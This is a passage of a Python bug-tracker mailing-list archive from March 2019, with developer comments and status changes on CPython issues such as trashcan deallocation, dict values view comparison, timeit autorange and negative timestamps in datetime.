<https://bugs.python.org/issue31327>
_______________________________________

From report at bugs.python.org  Thu Mar 28 04:42:13 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Thu, 28 Mar 2019 08:42:13 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553762533.33.0.648236342968.issue35983@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

Changing types like that looks like an ugly hack and a recipe for breakage. For example, in list_dealloc(), the following needs the type to be correct:

    if (numfree < PyList_MAXFREELIST && PyList_CheckExact(op))
        free_list[numfree++] = op;
    else
        Py_TYPE(op)->tp_free((PyObject *)op);

Could you please clarify your opinion: do you think that there's something wrong with PR 11841? And if yes: what's wrong with it? Or are you just giving optional suggestions?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Thu Mar 28 04:55:47 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 08:55:47 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553763347.15.0.0948610671194.issue35983@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Yes, I think that there's something wrong with PR 11841. It disables the trashcan mechanism and does not provide other mechanism for solving that problem.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Thu Mar 28 05:10:13 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Thu, 28 Mar 2019 09:10:13 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553764213.2.0.463106422051.issue35983@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

> It disables the trashcan mechanism

Yes, it disables the trashcan in some cases. But only when using the trashcan mechanism would probably crash CPython anyway due to a double deallocation. So at the very least, PR 11841 improves things from "crashing whenever the trashcan is used" to "crashing on stack overflows".

Do you have a real example where PR 11841 actually makes things *worse*?

> and does not provide other mechanism for solving that problem.

The recommended thing to do is that the subclass also implements the trashcan. See OrderedDict for an example: both the base class "dict" and the subclass "OrderedDict" use the trashcan.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Thu Mar 28 05:46:01 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 28 Mar 2019 09:46:01 +0000
Subject: [issue6422] timeit called from within Python should allow autoranging
In-Reply-To: <1246806912.2.0.722769600334.issue6422@psf.upfronthosting.co.za>
Message-ID: <1553766361.86.0.968117580618.issue6422@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Steven,

Thank you.  Yes, I was thinking the same thing. But it might be better at this point for that change to have its own ticket, so I'll open a new issue for it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6422>
_______________________________________

From report at bugs.python.org  Thu Mar 28 05:49:28 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 28 Mar 2019 09:49:28 +0000
Subject: [issue36461] timeit: Additional changes for autorange
Message-ID: <1553766568.14.0.657766350537.issue36461@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

#6422 implemented the autorange function for timeit, but in msg272704, Steven D'Aprano outlined follow-up change requests to that patch.

- make the 0.2s time configurable;
- have `timeit` and `repeat` methods (and functions) fall back 
  on `autorange` if the number is set to 0 or None.

Opening this ticket for those change requests.

----------
components: Library (Lib)
keywords: easy
messages: 339025
nosy: cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: timeit: Additional changes for autorange
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36461>
_______________________________________

From report at bugs.python.org  Thu Mar 28 05:50:03 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 28 Mar 2019 09:50:03 +0000
Subject: [issue6422] timeit called from within Python should allow autoranging
In-Reply-To: <1246806912.2.0.722769600334.issue6422@psf.upfronthosting.co.za>
Message-ID: <1553766603.24.0.626365287012.issue6422@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

The new ticket is #36461.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6422>
_______________________________________

From report at bugs.python.org  Thu Mar 28 05:50:43 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 28 Mar 2019 09:50:43 +0000
Subject: [issue36461] timeit: Additional changes for autorange
In-Reply-To: <1553766568.14.0.657766350537.issue36461@roundup.psfhosted.org>
Message-ID: <1553766643.09.0.994237990405.issue36461@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Assigning to @Mariatta for the sprints.

----------
assignee:  -> Mariatta
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36461>
_______________________________________

From report at bugs.python.org  Thu Mar 28 05:51:11 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 28 Mar 2019 09:51:11 +0000
Subject: [issue36461] timeit: Additional changes for autorange
In-Reply-To: <1553766568.14.0.657766350537.issue36461@roundup.psfhosted.org>
Message-ID: <1553766671.52.0.99661352678.issue36461@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36461>
_______________________________________

From report at bugs.python.org  Thu Mar 28 06:06:49 2019
From: report at bugs.python.org (Piotr Karkut)
Date: Thu, 28 Mar 2019 10:06:49 +0000
Subject: [issue36053] pkgutil.walk_packages jumps out from given path if there
 is package with the same name in sys.path
In-Reply-To: <1550680627.64.0.854320242724.issue36053@roundup.psfhosted.org>
Message-ID: <1553767609.61.0.026211338292.issue36053@roundup.psfhosted.org>


Piotr Karkut <karkucik at gmail.com> added the comment:

Bump

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36053>
_______________________________________

From report at bugs.python.org  Thu Mar 28 07:11:44 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 11:11:44 +0000
Subject: [issue26730] SpooledTemporaryFile doesn't correctly preserve data for
 text (non-binary) SpooledTemporaryFile objects when Unicode
 characters are written
In-Reply-To: <1460315503.46.0.361192457442.issue26730@psf.upfronthosting.co.za>
Message-ID: <1553771504.4.0.39289329165.issue26730@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Getting rid of StringIO seems better approach to me.
.tell(), .seek(), and .truncate() behaviors are very different between
StringIO and TextIOWrapper.

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26730>
_______________________________________

From report at bugs.python.org  Thu Mar 28 07:24:06 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 11:24:06 +0000
Subject: [issue19879] imageop: bug in error handler
In-Reply-To: <1386096892.95.0.429953399252.issue19879@psf.upfronthosting.co.za>
Message-ID: <1553772246.19.0.534550786018.issue19879@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19879>
_______________________________________

From report at bugs.python.org  Thu Mar 28 07:40:57 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 11:40:57 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553773257.59.0.422533798964.issue24214@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Thu Mar 28 07:54:57 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 11:54:57 +0000
Subject: [issue23126] Add Python hook function to replace NameError
In-Reply-To: <1419784501.24.0.582986414066.issue23126@psf.upfronthosting.co.za>
Message-ID: <1553774097.31.0.209190412911.issue23126@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

PEP 562 is implemented.

----------
nosy: +inada.naoki
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23126>
_______________________________________

From report at bugs.python.org  Thu Mar 28 08:27:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 12:27:55 +0000
Subject: [issue17110] sys.argv docs should explaining how to handle encoding
 issues
In-Reply-To: <1359864071.69.0.659089821533.issue17110@psf.upfronthosting.co.za>
Message-ID: <1553776075.58.0.180576852935.issue17110@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12542
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17110>
_______________________________________

From report at bugs.python.org  Thu Mar 28 08:41:06 2019
From: report at bugs.python.org (R. David Murray)
Date: Thu, 28 Mar 2019 12:41:06 +0000
Subject: [issue36460] Add AMP MIME type support
In-Reply-To: <1553749395.69.0.447008656018.issue36460@roundup.psfhosted.org>
Message-ID: <1553776866.03.0.227850471678.issue36460@roundup.psfhosted.org>


R. David Murray <rdmurray at bitdance.com> added the comment:

Can you provide some links to relevant RFCs or other official documents?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36460>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:17:47 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 13:17:47 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553779067.99.0.353747283325.issue24214@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:18:01 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 13:18:01 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553779081.21.0.10222686873.issue24214@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
versions: +Python 3.8, Python 3.9 -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:18:22 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 13:18:22 +0000
Subject: [issue12445] dict view values objects are missing tp_richcmp and
 tp_as_number
In-Reply-To: <1309392190.89.0.80399053449.issue12445@psf.upfronthosting.co.za>
Message-ID: <1553779102.97.0.789893521847.issue12445@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

There is no reasonable semantics for values view.
Keep it unimplemented.

----------
nosy: +inada.naoki
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12445>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:20:01 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 13:20:01 +0000
Subject: [issue21019] PyMethodDef ml_name is char* instead of const char*
In-Reply-To: <1395483254.03.0.173099227784.issue21019@psf.upfronthosting.co.za>
Message-ID: <1553779201.83.0.332829360487.issue21019@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

It is const char* now.

----------
nosy: +inada.naoki
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21019>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:22:05 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 13:22:05 +0000
Subject: [issue21022] PyMemberDef doc is char* instead of const char*
In-Reply-To: <1395483391.18.0.709378946504.issue21022@psf.upfronthosting.co.za>
Message-ID: <1553779325.38.0.791314709966.issue21022@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

It's const char* for now.

----------
nosy: +inada.naoki
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21022>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:26:31 2019
From: report at bugs.python.org (Daniel Black)
Date: Thu, 28 Mar 2019 13:26:31 +0000
Subject: [issue36460] Add AMP MIME type support
In-Reply-To: <1553776866.03.0.227850471678.issue36460@roundup.psfhosted.org>
Message-ID: <CAOoRTsWnJ4QYQV=AtZ9b=rZJOfzCZgMAkDJe6t0so6Jjz6cKKA@mail.gmail.com>


Daniel Black <dyspop at gmail.com> added the comment:

I'm not sure there's an RFC. I searched ietf but found none related to AMP
in MIME and AMP along search results were many (not accurate). I actually
doubt there's an RFC specific to AMP. What I meant is that AMP is itself
RFC compliant with RFC 2045-2050. As for official documentation here is the
link to the AMP project's description which gives some context:
https://amp.dev/documentation/guides-and-tutorials/integrate/add-email.html?format=email

Let me know if you need more information.

Dan Black
http://dan.black
917-873-3970

On Thu, Mar 28, 2019 at 8:41 AM R. David Murray <report at bugs.python.org>
wrote:

>
> R. David Murray <rdmurray at bitdance.com> added the comment:
>
> Can you provide some links to relevant RFCs or other official documents?
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36460>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36460>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:27:09 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 13:27:09 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553779629.32.0.42177782132.issue24214@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
pull_requests: +12543

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:27:43 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 13:27:43 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553779663.63.0.469965960223.issue24214@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
versions: +Python 3.7 -Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:28:40 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 13:28:40 +0000
Subject: [issue24214] UTF-8 incremental decoder doesn't support surrogatepass
 correctly
In-Reply-To: <1431816994.33.0.797161516902.issue24214@psf.upfronthosting.co.za>
Message-ID: <1553779720.66.0.0439579171337.issue24214@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

PR 12603 fixes this issue in more general way and does not affect performance.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24214>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:30:03 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 13:30:03 +0000
Subject: [issue32950] profiling python gc
In-Reply-To: <1519569407.24.0.467229070634.issue32950@psf.upfronthosting.co.za>
Message-ID: <1553779803.83.0.438332421175.issue32950@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

DEBUG_STATIS shows time for gc.
C profiler is needed to C level precise profiling.

----------
nosy: +inada.naoki
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32950>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:36:24 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 13:36:24 +0000
Subject: [issue5340] Change in cgi behavior breaks existing software
In-Reply-To: <1235243512.17.0.731468064037.issue5340@psf.upfronthosting.co.za>
Message-ID: <1553780184.16.0.996552888951.issue5340@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue5340>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:41:47 2019
From: report at bugs.python.org (Paul Ganssle)
Date: Thu, 28 Mar 2019 13:41:47 +0000
Subject: [issue36439] Inconsistencies with datetime.fromtimestamp(t) when t < 0
In-Reply-To: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>
Message-ID: <1553780507.23.0.241501403379.issue36439@roundup.psfhosted.org>


Paul Ganssle <p.ganssle at gmail.com> added the comment:

>From the documentation ( https://docs.python.org/3/library/datetime.html#datetime.datetime.fromtimestamp ):

> fromtimestamp() may raise OverflowError, if the timestamp is out of the range
> of values supported by the platform C localtime() or gmtime() functions, and
> OSError on localtime() or gmtime() failure. It?s common for this to be
> restricted to years in 1970 through 2038. Note that on non-POSIX systems that
> include leap seconds in their notion of a timestamp, leap seconds are ignored
> by fromtimestamp(), and then it?s possible to have two timestamps differing by
> a second that yield identical datetime objects. See also utcfromtimestamp().

So this is indeed the documented behavior. I agree that it would be good to unify the behavior across platforms if possible, but I think this would require us to have our own implementation of localtime() and/or gmtime().

That said, it might be possible to implement `fromtimestamp` with some equivalent of `datetime(1970, 1, 1) + timedelta(seconds=t)` on Windows when the value falls outside the accepted range. We'd probably need some better tests under different time zones to make sure that that would be acceptable.

I think it may be a good idea to change the targeted version to 3.8 or 3.9, because this is a change to the documented behavior of the function (albeit a desirable one that can probably be considered backwards compatible).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:42:33 2019
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 28 Mar 2019 13:42:33 +0000
Subject: [issue32950] profiling python gc
In-Reply-To: <1519569407.24.0.467229070634.issue32950@psf.upfronthosting.co.za>
Message-ID: <1553780553.03.0.0819180608632.issue32950@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

Python supports dtrace / systemtap probes for gc, https://docs.python.org/3/howto/instrumentation.html?highlight=gc__start#c.gc__start

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32950>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:45:51 2019
From: report at bugs.python.org (Julian Berman)
Date: Thu, 28 Mar 2019 13:45:51 +0000
Subject: [issue12445] dict view values objects are missing tp_richcmp and
 tp_as_number
In-Reply-To: <1553779102.97.0.789893521847.issue12445@roundup.psfhosted.org>
Message-ID: <CABJQSkmwgr4tUQtDh1XDPPA824swRZFZRDeFwVTE4H633CqWkw@mail.gmail.com>


Julian Berman <Julian+Python.org at GrayVines.com> added the comment:

Well, surely there are reasonable semantics :), because dict.values ==
dict.values was comparable before we had view objects.

It's been awhile since I filed this, and still seems rather silly that:

>>>> {"a": "foo"}.values() != {"a": "foo"}.values()
True

On Thu, Mar 28, 2019 at 9:18 AM Inada Naoki <report at bugs.python.org> wrote:

>
> Inada Naoki <songofacandy at gmail.com> added the comment:
>
> There is no reasonable semantics for values view.
> Keep it unimplemented.
>
> ----------
> nosy: +inada.naoki
> resolution:  -> rejected
> stage: patch review -> resolved
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue12445>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12445>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:51:17 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 13:51:17 +0000
Subject: [issue12445] dict view values objects are missing tp_richcmp and
 tp_as_number
In-Reply-To: <CABJQSkmwgr4tUQtDh1XDPPA824swRZFZRDeFwVTE4H633CqWkw@mail.gmail.com>
Message-ID: <CAEfz+TxtqkmK1t1iuz37KK=+v03Md_O6Uf8RdU-kf7bwK0H6qQ@mail.gmail.com>


Inada Naoki <songofacandy at gmail.com> added the comment:

> Well, surely there are reasonable semantics :), because dict.values ==
> dict.values was comparable before we had view objects.

Because it was list.

Now values view is not sequence-like or set-like.

>>> {"a": "foo", "b": "bar"}.values() == {"a": "bar", "b": "foo"}.value()
True if set-like.  False if sequence-like.

If you want Python 2 behavior, you should convert it to list.
Then you can use "sequence" semantics.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12445>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:52:04 2019
From: report at bugs.python.org (Paul Ganssle)
Date: Thu, 28 Mar 2019 13:52:04 +0000
Subject: [issue31327] bug in dateutil\tz\tz.py
In-Reply-To: <1504286649.82.0.482783873664.issue31327@psf.upfronthosting.co.za>
Message-ID: <1553781124.39.0.0438027248272.issue31327@roundup.psfhosted.org>


Paul Ganssle <p.ganssle at gmail.com> added the comment:

Can we change the title of this to something like, "Add example of platform-specific support for negative timestamps to the time documentation"?

That might be a bit wordy, but as it is now, this looks like it's reporting a bug in dateutil, which is not part of the standard library, which may be confusing people looking for something to solve.

As for the meat of the documentation change, I think we can adapt the wording from `datetime.fromtimestamp`, which actually has a very similar example called out: https://docs.python.org/3.7/library/datetime.html#datetime.datetime.fromtimestamp

> fromtimestamp() may raise OverflowError, if the timestamp is out of the range of values supported by the platform C localtime() or gmtime() functions, and OSError on localtime() or gmtime() failure. It?s common for this to be restricted to years in 1970 through 2038.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31327>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:53:11 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 13:53:11 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553781191.05.0.474770352138.issue36459@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset cda139d1ded6708665b53e4ed32ccc1d2627e1da by Serhiy Storchaka (Zackery Spytz) in branch 'master':
bpo-36459: Fix a possible double PyMem_FREE() due to tokenizer.c's tok_nextc() (12601)
https://github.com/python/cpython/commit/cda139d1ded6708665b53e4ed32ccc1d2627e1da


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:53:48 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 13:53:48 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553781228.56.0.790185000287.issue36459@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12544

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:53:59 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 13:53:59 +0000
Subject: [issue36459] A possible double PyMem_FREE() due to tokenizer.c's
 tok_nextc()
In-Reply-To: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>
Message-ID: <1553781239.52.0.760289423935.issue36459@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12545

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:54:44 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 13:54:44 +0000
Subject: [issue34826] io.BufferedReader crashes in 2.7 on memoryview attribute
 access
In-Reply-To: <1538089134.67.0.545547206417.issue34826@psf.upfronthosting.co.za>
Message-ID: <1553781284.31.0.929835790466.issue34826@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Crash when RawIOBase.write(b) evaluates b.format

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34826>
_______________________________________

From report at bugs.python.org  Thu Mar 28 09:56:13 2019
From: report at bugs.python.org (Julian Berman)
Date: Thu, 28 Mar 2019 13:56:13 +0000
Subject: [issue12445] dict view values objects are missing tp_richcmp and
 tp_as_number
In-Reply-To: <CAEfz+TxtqkmK1t1iuz37KK=+v03Md_O6Uf8RdU-kf7bwK0H6qQ@mail.gmail.com>
Message-ID: <CABJQSkme0=qL+Mr3-O4gD_Lb4j2CStd_00-BdzGWXVu87KT0hQ@mail.gmail.com>


Julian Berman <Julian+Python.org at GrayVines.com> added the comment:

Yes I know *why* it worked in Py2 -- still seems like an oversight :)

To me, comparing (multi)set-like is the only reasonable behavior there
which is what IIRC the patch did, but even without that, for a given dict,
d.values() != d.values().

So, it's not like comparison is currently unimplemented. It returns
answers, they just mostly make no sense. (And of course I know that what's
happening is we're falling back to an identity check)

On Thu, Mar 28, 2019, 09:51 Inada Naoki <report at bugs.python.org> wrote:

>
> Inada Naoki <songofacandy at gmail.com> added the comment:
>
> > Well, surely there are reasonable semantics :), because dict.values ==
> > dict.values was comparable before we had view objects.
>
> Because it was list.
>
> Now values view is not sequence-like or set-like.
>
> >>> {"a": "foo", "b": "bar"}.values() == {"a": "bar", "b": "foo"}.value()
> True if set-like.  False if sequence-like.
>
> If you want Python 2 behavior, you should convert it to list.
> Then you can use "sequence" semantics.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue12445>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12445>
_______________________________________

From report at bugs.python.org  Thu Mar 28 10:01:36 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 28 Mar 2019 14:01:36 +0000
Subject: [issue12445] dict view values objects are missing tp_richcmp and
 tp_as_number
In-Reply-To: <1309392190.89.0.80399053449.issue12445@psf.upfronthosting.co.za>
Message-ID: <1553781696.35.0.621012592197.issue12445@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I don't think we need it.  So I reject it.

If you believe many Pythonista really need it,
please start discussion on python-dev.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12445>
_______________________________________

From report at bugs.python.org  Thu Mar 28 10:01:39 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 28 Mar 2019 14:01:39 +0000
Subject: [issue36387] Refactor getenvironment() in _winapi.c
In-Reply-To: <1553149977.89.0.0620101720438.issue36387@roundup.psfhosted.org>
Message-ID: <1553781699.15.0.867254873199.issue36387@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 8abd7c7e37714ce0c42f871f81e52f14c155d1bd by Serhiy Storchaka in branch 'master':
bpo-36387: Refactor getenvironment() in _winapi.c. (GH-12482)
https://github.com/python/cpython/commit/8abd7c7e37714ce0c42f871f81e52f14c155d1bd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36387>
_______________________________________

From report at bugs.python.org  Thu Mar 28 10:20:47 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Thu, 28 Mar 2019 14:20:47 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1553782847.84.0.809552623734.issue29515@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:


New changeset 3eca28c61363a03b81b9fb12775490d6e42d8ecf by Giampaolo Rodola in branch 'master':
bpo-29515: add missing socket.IPPROTO_* constants on Windows (GH-12183)
https://github.com/python/cpython/commit/3eca28c61363a03b81b9fb12775490d6e42d8ecf


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Thu Mar 28 10:26:10 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Thu, 28 Mar 2019 14:26:10 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
